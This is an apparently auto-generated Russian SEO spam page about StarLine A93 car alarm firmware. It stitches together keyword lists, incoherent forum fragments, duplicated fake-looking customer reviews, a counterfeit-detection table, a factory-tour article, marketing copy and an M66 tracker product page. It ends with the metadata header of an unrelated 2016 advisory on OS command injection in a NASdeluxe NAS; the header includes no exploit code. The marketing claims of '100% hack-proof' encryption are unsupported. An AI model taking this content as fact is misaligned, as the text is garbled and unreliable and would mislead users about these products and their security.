Starline прошивки: Библиотека прошивок – StarLine Master

14 января в 12:45 Автор: Дарина

Ключевые слова: gsm модуль для starline a93 с алиэкспресс, купить starline a93 прошивка основного блока, как пользоваться автозапуском старлайн а93.

Содержание

• Описание
• Состав
• Эффект от применения
• Мнение специалиста
• Способ применения
• Как заказать?
• Отзывы покупателей

совместимость брелков starline a93, брелок старлайн а93 назначение кнопок, отключение сигнализации starline a93, сигнализация старлайн а93 кан лин, старлайн а93 турботаймер

Что такое starline a93 прошивка основного блока

У нас какая-то дружба с производителем StarLine особая, я бы даже сказал, что я являюсь чуть ли не постоянным покупателем их продукции. Почему так получалось, я был не в курсе, хотя сейчас уже знаю почему — мозгов у меня было просто как у курицы в период правления древних египетских фараонов. Я уже пользуюсь больше года, нареканий не какие, все работает отлично, зимой авто запуск очень помогает, можно настроить по температуре, турботаймер работает тоже отлично, тут некоторые пишут что дальность маловато, это полный бред, правильно надо установить антенну и будет вас счастье.

Официальный сайт starline a93 прошивка основного блока

Состав

Search:

старлайн а93 бесшумный режим

джсм модуль старлайн а93

starline a93 купить в Копейске

gsm модуль для starline a93 с алиэкспресс

как пользоваться автозапуском старлайн а93

совместимость брелков starline a93

брелок старлайн а93 назначение кнопок

Далее решил вернуться к вопросу обновления установленной в моем авто сигнализации Starline A93, а именно ее основного блока. На этом можно приступать к непосредственно настройке и(или) прошивке блока. Обновления установленной в моем авто сигнализации Starline A93, а именно ее основного блока. Производителем сигнализации для данной процедуры предусмотрен свой собственный программатор: Данное устройство предоставляет возможность с помощью ПК и фирме. Долго выбирал модель старлайна и остановился на Starline A93 CAN+LIN. Заметил в интернете на некоторых коробках есть. На том что я купил лишь указан иконка CAN+LIN. Я правильно понял, что могу обновить прошивку/версию ПО используя. Starline A93, при обновлении ПО основного блока оригинальным программатором Starline произошел сбой, а именно – система выпала в синий экран, при повторном подключении к ПК, программой Старлайн-мастер блок сигнализации не обнаруживается, брелки не видит, но на нажатия кнопки Валет. Только блок придётся демонтировать и привезти в АСЦ StarLine. Прошивка прошла удачно. Обновил до R5. После прошивки Мастер успешно обнаружил. А93 после сброса на заводские становится А63. Поэтому у него запуска и не будет. Мне только непонятно, почему он мастером не видится, но при этом всё. Мобильное приложение StarLine ТЕЛЕМАТИКА позволяет управлять охранно-телематическими комплексами StarLine. Для использования приложения на автомобиле должна быть установлена охранно-телематическая система StarLine. Блоки переключения. Штатные. Универсальные. Категории. Основные вопросы. StarLine A93 и A63 2CAN-LIN. Версии StarLine D94, B94, E91, E90. Версии StarLine D64, B64, E61, E60. Версии StarLine A94. Версии StarLine. Обновляем прошивку Старлайн самостоятельно. Сигналка Starline e90 gsm поставляется в. Обновлять прошивки сигнализаций Старлайн может не кто угодно. Обновление прошивки основного модуля. Допустим, переходник вы уже изготовили и программу скачали. Базовым устройством для. Новая прошивка и меню настройки параметров. Думается, что и для других моделей противоугонной системы торговой марки. Starline После того, как глючный старлайн мне заглушил двигатель в движернии, а также в целом себя странно вел — никому не посоветую ставить их. Есть штатные решения, есть. Публикации. StarLine Вернул!. Обновить прошивку GSM-модуля ― просто! Последние новости Архив новостей. Программатор для центрального блока моделей StarLine A63, StarLine A93, StarLine A93 CAN LIN, StarLine A93 GSM, StarLine A64, StarLine. Прошивка Блока Старлайн А93 itul.nuguz.ru/Прошивка Блока Старлайн А93 Прошивки Обновлени. 12:37. Программирование Сигнализации Starline A63. Программатор для центрального блока моделей StarLine A63, StarLine A93, StarLine A93 CAN LIN, StarLine A93. StarLine A63, StarLine A93, основные функции управления сигнализацией, белок StarLine A63/93 Цена и наличие 2:08. Прошивка Блока Сигнализации Starline. Alisa Veshnyakova. Что представляет собой Starline программатор?. Микропроцессорный блок с программатором Старлайн. Обновление прошивки. КАН библиотека Старлайн постоянно обновляется, поэтому производитель рекомендует пользователям проверять наличие обновлений каждые две недели. Процедура обновления.

Эффект от применения

Отличная сига не разу не подвела отрабатывает на все 110 %, кто долго думает проходите мимо .. однозначно советую… главное что бы нормальные специалист все правильно подключили… После очередных проблем с iCode я стал просматривать интернет-магазины, и случайно наткнулся на товар в Технопойнте, я не поверил своим глазам, ведь A93 там стоил дешевле чем А93 ECO на 1000 ₽. Если учесть, что средняя цена на А93 в рознице примерно 8500 ₽, то Технопойнт предлагал ее за 6390 ₽, хотя А93 ECO на этом же сайте 7400 ₽ Где логика?

Мнение специалиста

себе ставил сигналку сам, ставил правда томагавк tz9010.

StarLine A93. 2CAN+LIN таблицы программирования. Программирование охранных и сервисных функций комплекса (таблица №1). StarLine A93. 2CAN+LIN диагностика дистанционных и автоматических запусков двигателя Временная диаграмма работы комплекса при дистанционном запуске двигателя в автомобилях. Доброго времени суток уважаемые! Выкладываю сканы таблицы программирования и доп документации для сигналки Старлайн А93(63). Запись носит больше информационный параметр (для меня). Что входит в первоначальные настройки сигнализации Старлайн A93 ?? Как правильно запрограммировать и настроить сигнализацию и брелок ?? Как самостоятельно сбросить установки на заводские? StarLine A93, A63. таблицы программирования Программирование охранных и сервисных функций комплекса (таблица. StarLine A93. диагностика дистанционных и автоматических запусков двигателя Временная диаграмма работы комплекса при дистанционном запуске двигателя в автомобилях. Таблица программирования Старлайн а93. Выключить зажигание и нажать сервисную кнопку 5 раз. Включить зажигание, при этом прозвучит 5 сигналов сирены и характерный звуковой сигнал брелка, подтверждающие вход в режим программирования. Короткими нажатиями кнопок 2 и 3 нужно выбрать. StarLine А93. и желаем Вам безопасных поездок!. StarLine А93 3. Оставляя автомобиль, обязательно устанавливайте рычаг управления автоматической. 66 Таблица №1. Программируемые охранные и сервисные функции StarLine A93, A63 Скрытое включение режима. 114 Программирование функций Программирование охранных и сервисных функций (таблица №1) 116 Программирование параметров. StarLine A93, A63. Технические характеристики. Старлайн а93 сигнализация с автозапуском, инструкция по установке, настройке. Отзывы владельцев и собственный опыт. Автосигнализация StarLine A93 с обратной связью и умным автозапуском двигателя. Есть защита диалоговым кодом управления с ключами 128 битного шифрования, оберегающим от. StarLine A93, А63. Подключение и отключение полностью разряженного или неисправного аккумулятора на вашем. Комплексы StarLine A93, А63 разрешены к использованию на территории РФ и соответствуют всем требованиям нормативных документов РФ. Срок службы StarLine A93, А63 составляет 5 лет при. StarLine A93, А63. Подключение и отключение полностью разряженного или неисправного аккумулятора на вашем автомобиле при работающем двигателе может вывести из строя электронные устройства вашего автомобиля и автосигнализацию. Модельный ряд StarLine серии A93 (Модульная структура). StarLine A93. Базовая версия. Таблица программирования. Сигнализация Старлайн А93 обладает огромным набором функций, которые доступны для настройки. Брелоки Starline A93: кнопки и пиктограммы. Как настроить чувствительность датчика удара или наклона? Настройка сенсора наклона. Интернет-магазин Движком – запчасти и автотовары для любого авто! Скидки до 30%! Продавец: ДВИЖКОМ.

Способ применения

Автосигнализация StarLine A93 с обратной связью и умным автозапуском двигателя. Есть защита диалоговым кодом управления с ключами 128 битного шифрования, оберегающим от перехвата радиосигнала кодграбберами. Автосигнализация отлично работает условиях городских радиопомех.

Как заказать?

Заполните форму для консультации и заказа starline a93 прошивка основного блока. Оператор уточнит у вас все детали и мы отправим ваш заказ. Через 1-10 дней вы получите посылку и оплатите её при получении.

starline a93 прошивка основного блока. starline a93 2can2lin eco. Отзывы, инструкция по применению, состав и свойства.

Отзывы покупателей:

У нас какая-то дружба с производителем StarLine особая, я бы даже сказал, что я являюсь чуть ли не постоянным покупателем их продукции. Почему так получалось, я был не в курсе, хотя сейчас уже знаю почему — мозгов у меня было просто как у курицы в период правления древних египетских фараонов.

Карина

Брелки, основной и дополнительный, равноценны по криптостойкости (безопасности). Алгоритм шифрования, для передачи команд, одинаковый. Он исключает электронный взлом. Сигнализация срабатывает и отпраляет данные на брелок.

Мария

Данная версия очень похожа на предыдущую версию с блоками защиты по шинам CAN+LIN. Эта версия не имеет в базовом варианте продвинутых функций мониторинга автомобиля на большом расстоянии, данный недостаток исправляется покупкой необходимых блоков (gps/gsm). Кроме того, версия 2CAN+2LIN предназначена для установки на автомобили 2010-2016 гг., года выпуска продающихся на территории РФ и СНГ.

Маргарита

Добавить отзыв

Name:

Почта

Сайт

Потвердить

Осторожно подделки!!! Как отличить настоящий StarLine от китайской подделки!

Навигация

Осторожно подделки!!!

• Контрафакт! брелок StarLine A93 подделка

Как отличить настоящий StarLine от подделки?

Чтобы отличить StarLine от подделки – обратите внимание на следующие признаки:

Отличия оригинальной системы StarLine A91 от подделки

1.

* штрих код с читан простым приложением для смартфона “Яндекс.Маркет”

2. Центральный блок

№	Оригинал	Подделка
1.	Визуальное отличие фишки силового разъема	Визуальное отличие фишки силового разъема
2.	Наклейка с версией ПО центрального блока присутствует	Наклейка с версией ПО центрального блока отсутствует
3.	Знак соответствия регламенту “СТР”	Знак соответствия регламенту “РСТ”
4.	Винты крепления 5 мм.	Винты крепления 3,5 мм.
5.*	Серийный номер указан без разделений Серийный номер соответствует штрих коду A91W407041374	Серийный номер указан с разделениями Серийный номер не соответствует штрих коду A91 W012 002873
6.	Отсутствие на корпусе запаянных отверстий для винтовых креплений от старых систем StarLine B9	На корпусе видно запаянные отверстия винтовых креплений от старых систем StarLine B9

* штрих код с читан простым приложением для смартфона “Яндекс. Маркет”

3. Плата центрального блока

4.

5. Печатные платы основного брелока

№	Оригинал	Подделка
1.	Подсветка дисплея Светодиодом	Люминисцентная подсветка
2.	Дисплей припаян на гибкий шлейф	Дисплей припаян на жесткую пайку
3.	Выводы для прошивки присутствуют	Выводы отсутствуют
4.	Плата приемо-передатчика зеленого цвета	Плата приемо-передатчика черного цвета
5.	Контакты соединения плат расположены сверху рядом с антенной	Контакты соединения плат расположены внизу рядом с зуммером
6.	Зуммер с маркировкой KSTG912 RP/A-1	Зуммер без маркировки

6. Дополнительный брелок

№	Оригинал	Подделка
1.	Присутствует бортик 1 мм.	Бортика нет
2.	Краска маркировки на кнопках матового серого цвета	Краска маркировки на кнопках белого цвета
3.	Надпись 2 Way-Remo сделана оригинальным шрифтом СтарЛайн	Надпись 2 Way-Remo сделана другим шрифтом
4.	Крепежный винт светлый блестящий	Крепежный винт черного цвета

7. Плата дополнительного брелока

№	Оригинал	Подделка
1.	Маркировка процессора PIC16F690	Маркировка процессора стерта
2.	Маркировка платы E007 R2 10/05/2009	Маркировка платы TH001-DX 2012-09-09-KM
3.	Установлена катушка индуктивности	Установлена SMD-индуктивность
4.	Оригинальный держатель батареи	Не Оригинальный держатель батареи
5.	Зуммер с маркировкой KSTG912 RP/A-1	Зуммер без маркировки
6.	Контакты для прошивки 1 квадратный, 7 круглых	Контакты для прошивки 7 квадратных
7.	Маркировка передатчика Wintec	Маркировка передатчика стерта

8. Модуль приемопередатчика

№	Оригинал	Подделка
1.	Надпись CALL больше не используется, есть бортик 1 мм.	Присутствует надпись CALL, бортик отсутствует.
2.	Более шероховатый корпус	Гладкий корпус
3.	Маркировка написана разными шрифтами	Маркировка написана разными шрифтами
4.	Установлено две катушки индуктивности, установлен ПАВ резонатор	Отсутствует катушка индуктивности, вместо нее установлена SMD-индуктивность, отсутствует ПАВ резонатор.
5.	Стабилизатор напряжения 24Z1F. Конденсатор 47 мкф 10 вольт.	Установлено большее кол-во элементов. В том числе дополнительная микросхема (8 ножек), название затерто.

9. Датчик удара

№	Оригинал	Подделка
1.	Используется оригинальный сенсор вибрации	Используется простой микрофон с резиновой накладкой
2.	Расположение элементов с обратной стороны	Расположение элементов с лицевой стороны
3.	Присутствуют центрирующие упоры для платы датчика	Просто удерживающие упоры платы.

Завод StarLine: как производят автосигнализации

Корреспондент «Движка» стал одним из первых журналистов, которые смогли попасть на прежде закрытый для СМИ объект — производство и инженерные лаборатории ведущего производителя автомобильных охранных систем НПО «СтарЛайн».

В термин «производство» зачастую вкладывается практически все что угодно, кроме самого производства. Иногда так называют даже простой процесс упаковки по коробкам комплектов, которые целиком производятся на заводах Китая. «Инженерные отделы» таких «производств» нередко представляют собой небольшую комнату с компьютером, амперметром и осциллографом, в которой «тестируют» устройства и компилируют написанные в том же Китае «прошивки»… Разумеется, что от «СтарЛайн» я ничего подобного и не ждал — иначе для чего компании большое двухэтажное здание бывшей швейной фабрики, выкупленное в 1997 году и за два года поднятое из руин. Ведь не одни же маркетологи да рекламисты занимают столь обширные площади?!

Никогда не страдал «квасным патриотизмом» и всегда скептически относился к отечественным производствам, особенно постсоветского времени. Но то, что я увидел в «СтарЛайн», заставило переосмыслить множество шаблонных предубеждений.

Прежде всего обращаешь внимание на общую культуру производства, почти невероятную для России. Компетентные коллеги говорят, что здесь «СтарЛайн» повторяет и даже превосходит лучшие образцы европейских предприятий. Прошел по двум этажам здания, побывал на производственном и инженерном участках, и везде бросается в глаза чистота в помещениях, современные системы освещения и вентиляции. Весь персонал одет в опрятную корпоративную спецодежду, на которую здесь, видимо, не скупятся. Причем совсем не возникало впечатления, что к посещению журналистов специально готовились, — все выглядело буднично, словно такой порядок здесь изо дня в день.

Чтобы пройти на экскурсию на производственный участок, выдают антистатические халаты и бахилы — и это не показной «маскарад», просто так положено на производствах, где выпускают электронику.

Центральное место на производственном участке занимает автоматическая роботизированная линия «полного цикла», которой в «СтарЛайн» очень гордятся, утверждая, что это уникальное японское оборудование, не имеющее аналогов даже в Европе. Работает линия так. Вначале в приемное окно загружаются «кассеты» из печатных плат, имеющих отверстия под пайку элементов. Далее платы проходят первичную очистку клейким валиком и поступают на участок, где по заданной технологической карте робот наносит на платы «паяльную пасту». Затем обработанные платы поступают на участок «экспертизы», на котором оператор в режиме 3D отсматривает высоту и равномерность нанесения припоя. Если что-то не так — плата отбраковывается. Прошедшие контроль движутся к «сердцу» линии — участку установки элементов. Компоненты поступают в аппарат уже подготовленными, закрепленными на ленте, смотанной в кассеты, откуда робот по заданной программе выбирает и устанавливает элементы на платы. Последние затем снова движутся на участок контроля, там проводится проверка оператором. Прошедшие контроль едут дальше — в паяльную «печь», где системой из обдува горячим и холодным воздухом компоненты окончательно припаиваются. Потом оператор отправляет весь блок в камеру очистки, а затем снова делается проверка уже на рентгеновском оборудовании.

Далее блоки собранных схем разрезаются на отдельные платы, которые монтируются в корпуса, и на них устанавливается ПО. После чего — снова проверка специальным электронным тестером. Причем проверяются не выборочные экземпляры из партии, а каждое изделие!

Понятно, что вся элементная база — блоки монтажных плат, электронные компоненты (чипы, микропроцессоры, контроллеры, резисторы, конденсаторы и пр.) — поставляется из-за рубежа, главным образом с заводов Китая и Кореи. Упущенная еще в советские годы возможность разработки и производства микросхем теперь дает себя знать — никаких собственных процессоров и прочих компонентов микроэлектроники в России сейчас никто не производит и производить не может. Так что приходится строить из чужих «электронных кирпичей».

Частично сборка и установка ПО делаются в Петербурге. Так, например, во время нашей экскурсии шло производство устройств нового направления компании — GPS/ГЛОНАСС-маяков. Также в виде готовых плат с установленными компонентами продукция из Петербурга отправляется во Всеволожский район (Ленинградская обл. ), где у «СтарЛайн» расположено еще одно производство и логистический склад, там совершается сборка, установка ПО, упаковка изделий и отгрузка компаниям-партнерам. Как рассказывают в «СтарЛайн», ежедневный объем производства и отгрузка партнерам составляет свыше 3 тыс. изделий, а в «горячую пору» число произведенных и поставленных систем доходило до 30 тыс. штук ежедневно.

При этом, несмотря на столь внушительные объемы, каждое изделие многократно проходит контроль на всех этапах — от проверки на этапе монтажа на автоматической линии до момента упаковки готового комплекта в коробку. Между тем количество «отказов» в изделиях, по утверждению компании, составляет всего 0,3 % (что является очень низким показателем для потребительской электроники; транснациональные гиганты отрасли закладывают число брака в размере 2 %).

Достигаются такие показатели во многом еще и системой оплаты труда — каждый работник на своей зарплате ощущает «цену ошибки». Базовую часть зарплаты у сотрудников не срезают, но в случае «косяка» лишают бонусов и премиальных. На сборочном производстве я заметил большой стенд, на котором в одной колонке для каждого поста установлен план на день, а в соседней — сколько было сделано. Ни в одной графе я не увидел, чтобы план не был выполнен — только ровно столько, сколько указано, или больше. В противном случае в отношении работника последуют финансовые санкции. Явно унылых и замученных лиц среди персонала я не заметил, но люди работают очень сосредоточенно и напряженно.

Лично на меня особое впечатление произвел пост входного контроля разъемов с колодкой проводов. Здесь девушка брала каждую «косу» (коих у нее в коробке лежало тысячи) и вручную проверяла провода на стойкость к выдергиванию из разъема, дергая каждый проводок. Для потребителей все это, конечно, «зер гут», но у меня в голове пронеслись рассказы Максима Горького… Впрочем, это так, к слову.

Как выяснилось из разговора с представителями «СтарЛайн», подход к рядовому персоналу у компании таков, что специальных базовых знаний здесь не требуют — было бы желание и способность к работе. Остальному научат. Причем работников тут создают универсальных — один и тот же человек, в зависимости от текущих потребностей производства, может заниматься сборкой изделий, может их тестировать, может устанавливать ПО. Все процессы технологизированы, и от работника требуется только выполнять набор простых операций, главное — с полной самоотдачей. Похоже, что идеи Генри Форда приживаются на российской земле.

Заинтриговал инженерный отдел, расположившийся в петербургском здании на втором этаже, над производственным участком. Отдел отвечает за несколько направлений: разработку и отладку новых устройств, создание программного обеспечения к ним и тестирование новых модулей и компонентов. От количества разного контрольного оборудования тут разбегаются глаза — любая ипостась и нюанс использования системы не уходят от проверки. Лично мне особо запомнились два стенда, очень характерно иллюстрирующих дотошность «СтарЛайн» в отношении своей продукции. Это аппарат для проверки надежности и долговечности работы кнопок на брелоках сигнализаций, где механические штоки совершают тысячи нажатий, имитируя управление пользователем, — кнопка должна выдержать и не выйти из строя. Многие автовладельцы носят брелоки в карманах синтетических курток, в контакте со свитерами, шубами и т. д., поэтому, считают инженеры «СтарЛайн», также необходима проверка на выдерживание брелоками статического разряда — что и делается на специальном стенде.

Сейчас в инженерном отделе «СтарЛайн» идет напряженная работа — в 2015 году на рынок выходит новое поколение различных устройств марки StarLine, а уже запущенные сервисы и технологии будут получать свое прогрессивное развитие.

В частности, компания планирует развивать направление систем с поддержкой технологии Bluetooth Smart, где с помощью специального бесплатного приложения можно превратить свой смартфон или планшет под Android, iOS и Windows Phone в продвинутый брелок управления сигнализацией, на котором будет отображаться состояние охраны и различные данные автомобиля. (Привычные кнопочные брелоки, впрочем, никто не отменяет, они будут входить в комплект.) С этой уже известной пользователям технологией будет «идеологически» и технически связан новый перспективный сервис «Умная телематика». Суть его — контроль за пробегом, режимом езды, состоянием автомобиля и своевременным оповещением владельца. Так, например, при приближении срока прохождения очередного ТО владелец по желанию сможет получить СМС-сообщение с напоминанием либо звонок от официального дилера с предложением записаться в удобное время. Учитывая активную работу «СтарЛайн» с дилерами большинства популярных марок и признание автопроизводителями оборудования марки StarLine оригинальным аксессуаром, направление «умной телематики» выглядит коммерчески перспективным. Как говорят в компании, заинтересованность проявляют и страховые компании, поскольку телематические системы позволяют фиксировать стиль езды владельца, в результате чего аккуратные водители получат скидку на страхование, а компании смогут привлекать новых лояльных клиентов. (Другой вопрос, во что превратят «телематику» дилеры и страховщики — в СМС-спам, бесконечные звонки с предложениями о сезонных акциях, в разборки с возмущенным клиентом по поводу стиля езды и скидки на полис. ..)

Еще одним перспективным направлением в «СтарЛайн» называют развитие систем мониторинга как для корпоративных, так и для индивидуальных пользователей. На данный момент уже развернута «экосистема» на серверах starline.ru, способная, по утверждению компании, принять миллион пользователей, а на рынок выходит большая группа устройств — GPS/ГЛОНАСС-трекеров и маяков (свидетелями производства которых мы как раз и оказались). Соответственно ведется работа и в рамках госпроекта «ЭРА-ГЛОНАСС» — над системой спутникового мониторинга автотранспорта и автоматического оповещения экстренных служб при авариях и ЧП на дорогах.

Смелой инновацией рынка охранных систем выглядит новый универсальный модуль, единый для систем с дистанционным пуском двигателя и без него. При этом превращение «незапусковой» системы в «запусковую» осуществляется только путем добавления блока пуска, а сам универсальный модуль перенастраивается программно. Как утверждают в «СтарЛайн», установщики уже проявляют потенциальную заинтересованность в такой системе.

По заявлению компании, доля марки StarLine на российском рынке автоохранных систем и комплексов занимает на сегодня 53 % и продолжает расти. В «СтарЛайн» говорят: «Наша миссия — обеспечить гражданам мира высокий уровень безопасности на основе прогрессивных технологий мирового сообщества». И мне отчего-то вспоминается замеченный в одном из цехов всеволожского производства гипсовый бюст Ленина. Вождь мирового пролетариата внимательно смотрел на сосредоточенных рабочих, монтирующих платы в корпуса, словно говоря: «Попробуйте!»

Почему СтарЛайн? –

Почему стоит выбрать StarLine?

Рынок перенасыщен всевозможными продуктами безопасности, что может затруднить выбор конечному пользователю. Чем отличается StarLine? Вот несколько вещей, которые выделяют нас 🙂

Более 30 лет опыта

Компания была основана в 1988 году и с более чем 30-летним опытом работы в области автомобильной безопасности является крупнейшим производителем автомобильных систем безопасности в Европе и более 1000 сотрудников.

Полный производственный цикл

StarLine — крупнейшее предприятие такого рода в Европе, и нет других производителей оборудования для обеспечения безопасности транспортных средств в Европе (и, возможно, слово), которые могли бы сравниться с производственным предприятием StarLine. Мы инвестировали миллионы в новейшее оборудование ведущих мировых брендов и создали производственный объект, который на 90% автоматизирован (исключая любую возможность человеческой ошибки). StarLine производит большинство компонентов самостоятельно, включая пластиковые компоненты и кабели, поэтому мы полностью контролируем качество нашей продукции , в отличие от производителей, которые закупают компоненты для своей продукции у третьих лиц.

Целостность

В отличие от многих (большинства) компаний в нашей сфере, у нас совершенно другая философия , когда речь идет о безопасности транспортных средств. Наша цель не продать вам продукт. Наша цель – обезопасить ваш автомобиль. Мы поставляем нашу продукцию только тем установщикам, которые соответствуют нашим критериям, как в срок технические знания, а также моральные ценности . Мы сотрудничаем с компаниями, разделяющими наше видение, а не с теми, кто заинтересован в предоставлении быстрых решений и универсальных решений. Наша продукция предназначена для тех, кто является экспертом в своем деле и искренне заботится о вас – покупателе.

Непрерывные инновации

StarLine — это бренд, который никогда не останавливается в своем развитии. По мере того, как преступники становятся все умнее и используют различные стратегии и методы воровства, а современные транспортные средства становятся все более сложными, первостепенное значение имеет не только поддержание актуальности продукта, но, по сути, заблаговременное прогнозирование рыночных тенденций. Продукция StarLine основана на текущего исследования , и предназначен для безошибочной установки на современные автомобили.

Отмеченные наградами решения

StarLine получила более 30 международных наград с 2012 года; не только за наши передовые продукты, но и за наши современные производственные мощности, наш вклад в сообщество открытого исходного кода, программы обучения для молодых амбициозных инженеров и помощь юридическим лицам с интеграцией помощи водителю / технологии автономного вождения.

Эксклюзивность

У нас очень строгие процедуры контроля качества, и мы отслеживаем каждый продукт от А до Я (с момента начала производства до момента, когда он достигает конечного пользователя). Каждый продукт StarLine имеет штрих-код, который содержит важную информацию об этом конкретном продукте. Это помогает нам бороться с контрафактным и серым импортом, а также гарантировать, что наши клиенты получат подлинный продукт и получат любую необходимую поддержку в их соответствующем месте от уполномоченных представителей.

Нам доверяют миллионы

Продукция StarLine используется более чем в 50 странах мира. По оценкам, в настоящее время во всем мире насчитывается почти 20 миллионов активных пользователей продуктов автомобильной безопасности StarLine. В 2020 году StarLine побила мировой рекорд по количеству пользователей сервиса stattelite в сети StarLine Connected Cars — на декабрь 2020 года насчитывалось 2 000 000 активных участников .

Шифрование военного класса

StarLine использует 100% защиту от взлома шифрование военного уровня на основе алгоритма Диффи-Хеллмана. В настоящее время не известно ни одного электронного устройства, которое могло бы скомпрометировать шифрование StarLine. StarLine предлагает вознаграждение в размере 60 000 фунтов стерлингов каждому, кто сможет разгадать наши алгоритмы шифрования. Метки и пейджеры StarLine используют диалоговый (в отличие от динамического или скользящего) код, который невосприимчив к любому устройству захвата кода , что означает, что метки / пейджеры StarLine нельзя сканировать/клонировать.

Эксклюзивная сеть установщиков

StarLine не продает «всем, кто хочет купить»! Мы гарантируем нашим клиентам, что их установка нашего продукта (ов) будет выполнена ведущими британскими экспертами по безопасности транспортных средств. У нас очень строгие критерии при утверждении дилеров; мы заботимся о том, чтобы только самые компетентные и опытные монтажники получили StarLine Partner ID. Поэтому, выбирая StarLine, вы не только выбираете качественный продукт, но и гарантируете, что с вашим автомобилем будет обращаться надежный и заслуживающий доверия установщик с проверенной репутацией — который прошел самые строгие критерии, чтобы попасть в партнерскую сеть StarLine.

OEM-Approved

StarLine не только поставляет послепродажное оборудование для обеспечения безопасности отдельным владельцам транспортных средств и руководителям автопарков; мы также производим OEM-оборудование для более чем 30 мировых производителей автомобилей, таких как Toyota, Mitsubishi, Ford, Lexus, VW, Nissan, Skoda, Kia, Vauxhall, Honda, Renault/Peugeot, Fiat/Abarth, Mazda и многих других. Ежемесячно в является подлинным защитным аксессуаром для заводских автомобилей и позиционируется как рекомендуемое обновление послепродажного обслуживания в сотнях дилерских центров.

Отслеживание без подписки

StarLine предлагает конечным пользователям огромную ценность, не взимая плату за подписку на нашу службу отслеживания в реальном времени, эффективно устраняя «посредников» . Приобретая и устанавливая один из наших продуктов GPS-ГЛОНАСС (включая системы сигнализации и устройства слежения), вы получаете пожизненный доступ к сети StarLine ConnectedCars и ко всем ее функциям. Никаких текущих сборов и подвоха! Подробнее об отслеживании на основе подписки и самостоятельном управлении >>>

Непревзойденная ценность

В дополнение к отслеживанию в реальном времени без подписки, есть еще несколько встроенных премиальных дополнений, которые большинство других производителей продают как отдельные продукты и берут за это сотни, например, iCAN (иммобилайзер CAN-BUS) , iKey (цифровой дистанционный запуск), защита от угона и двухзонные настраиваемые пользователем датчики. В мире нет другой компании, которая предлагает такое количество премиальных функций без дополнительных затрат для конечного пользователя. Итак, вы буквально экономите сотни, выбирая StarLine , так как вы получаете несколько продуктов в одном пакете, за который – в другом месте – вам придется доплачивать. Узнайте больше о революционных технологиях StarLine >>>

Полностью настраиваемый

Если вы выбираете универсальную готовую систему от производителя maninstream, вам необходимо адаптироваться к продукту. Но когда вы выбираете StarLine, , продукт адаптируется к ВАМ ! Технические специалисты StarLine обучены адаптировать систему к индивидуальным потребностям каждого клиента. Любая нестандартная функция, которую вы хотите, может быть запрограммирована в системе для вас. Любая функция, которая вам НЕ нужна, может быть удалена. Большая часть этого заключается в том, что вы — конечный пользователь — можете контролировать себя в любое время после установки! Узнать больше о настройке >>>

Обновляемая прошивка

Системы StarLine обновляемые. Каждый раз, когда выходит обновление, его можно получить бесплатно и загрузить на основной блок. Более того, в то время как большинство других компаний, предлагающих обновляемое GSM-оборудование для обеспечения безопасности транспортных средств, взимают плату за периодическое обновление системы, системы StarLine с GSM-интерфейсом могут быть обновлены конечным пользователем без посещения технического специалиста . Это просто и бесплатно — вы просто запрашиваете обновление с помощью текстового сообщения, и оно автоматически загружается для вас.

StarLine M66 – смарт-трекер

HomeStarLine M66 – смарт-трекер

StarLine M66 – смарт-трекер

  Модули GSM и GPS+ГЛОНАСС, встроенный интерфейс CAN и авторизация Bluetooth Smart обеспечивают надежный удаленный контроль безопасности автомобиля и интеллектуальное GPS-отслеживание на бесплатном сайте мониторинга starline.online или в мобильном приложении StarLine.

 Универсальный вход питания позволяет устанавливать его как на легковые, так и на грузовые автомобили.

 StarLine M66 можно использовать в качестве внешнего беспроводного GSM GPS-модуля для охранных систем StarLine E96 по Bluetooth-соединению сайт starline.online

Скачать бесплатное приложение StarLine Mobile для iOS, Android и Windows Phone

Руководство пользователя и схема подключения
Онлайн-инструкции и прошивки

Состав модельных наборов

Состав модельных наборов	СтарЛайн М66 С	СтарЛайн М66 М
1. Основной системный блок	1	1
2. Беспроводные метки	–	2
3. Комплект монтажных проводов и разъемов	1	1
4. Предохранитель с основанием и проводом	1	1

УМНАЯ ЗАЩИТА

BLUETOOTH SMART AUTHORIZATION

Для начала движения владельцу необходимо пройти авторизацию по небольшой водонепроницаемой беспроводной метке или смартфону с приложением StarLine (доступно для iOS-смартфонов с версией Bluetooth 4.2 и выше)

SMART 3D SENSOR

Умное 3D-управление с удаленными регистрами настроек удары, поддомкрачивание автомобиля, эвакуация и оценивает безопасность стиля вождения

ANTI-HIJACK

StarLine защищает от угона и угона с надежной блокировкой двигателя в движении, если метка не обнаружена

РЕКОРД ЭНЕРГОЭФФЕКТИВНОСТИ

StarLine гарантирует низкое энергопотребление, сохранение достаточного заряда автомобильного аккумулятора до 60 дней в режиме охраны благодаря запатентованным прогрессивным технологиям и программным решениям

GSM TELEMATICS

Чтобы начать движение, владелец должен пройти авторизацию с помощью небольшой водонепроницаемой беспроводной метки или смартфона с приложением StarLine (доступно для iOS-смартфонов с версией Bluetooth 4. 2 и выше)

БЕСПЛАТНЫЙ GPS-ТРЕКИНГ

Умное 3D-управление с удаленной настройкой регистрирует удары , поддомкрачивание автомобиля, эвакуация и оценивает безопасность стиля вождения

ИНТЕЛЛЕКТУАЛЬНАЯ ДИАГНОСТИКА

StarLine защищает от угона и угона с надежной блокировкой двигателя в движении, если метка не обнаружена запатентованные прогрессивные технологии и программные решения

СТАРЛАЙН ТЕЛЕМАТИКС

Простое управление системой безопасности вашего автомобиля с помощью смартфона, пульта дистанционного управления, планшета или ПК

Определение местоположения автомобиля

Постановка и снятие с охраны

Повседневная жизнь вашего автомобиля в деталях

Визуальная индикация состояний, таких как баланс SIM-карты, заряд батареи, температура и т. д.

Удобные параметры настройки для дистанционного запуска и остановки двигателя

Управление отопителями Webasto и Eberspacher

Блокировка двигателя, противоугонный режим

Функция поиска парковки автомобиля

ПРОВЕРЬТЕ БЕСПЛАТНЫЕ ФУНКЦИИ МОНИТОРИНГА STARLINE. ONLINE

Воспользуйтесь функцией бесплатного мониторинга на starline.online

Загрузите бесплатное приложение StarLine Mobile App Store, Google Play или Windows Phone

КОНТАКТЫ

NASdeluxe NDL-2400r 2.01.09 – Внедрение команды ОС

 ----- НАЧАТЬ ПОДПИСАННОЕ СООБЩЕНИЕ PGP -----
Хэш: SHA512

Идентификатор рекомендации: SYSS-2016-065
Продукт: NASdeluxe NDL-2400r
Поставщик: Starline Computer GmbH
Затронутые версии: 2.01.10
Протестированные версии: 2.01.09Тип уязвимости: внедрение команд ОС (CWE-78)
Уровень риска: высокий
Статус решения: нет исправления (продукт достиг EOL за 3 года)
Уведомление поставщика: 04.07.2016
Публичное раскрытие информации: 03 августа 2016 г.
Ссылка CVE: не назначена
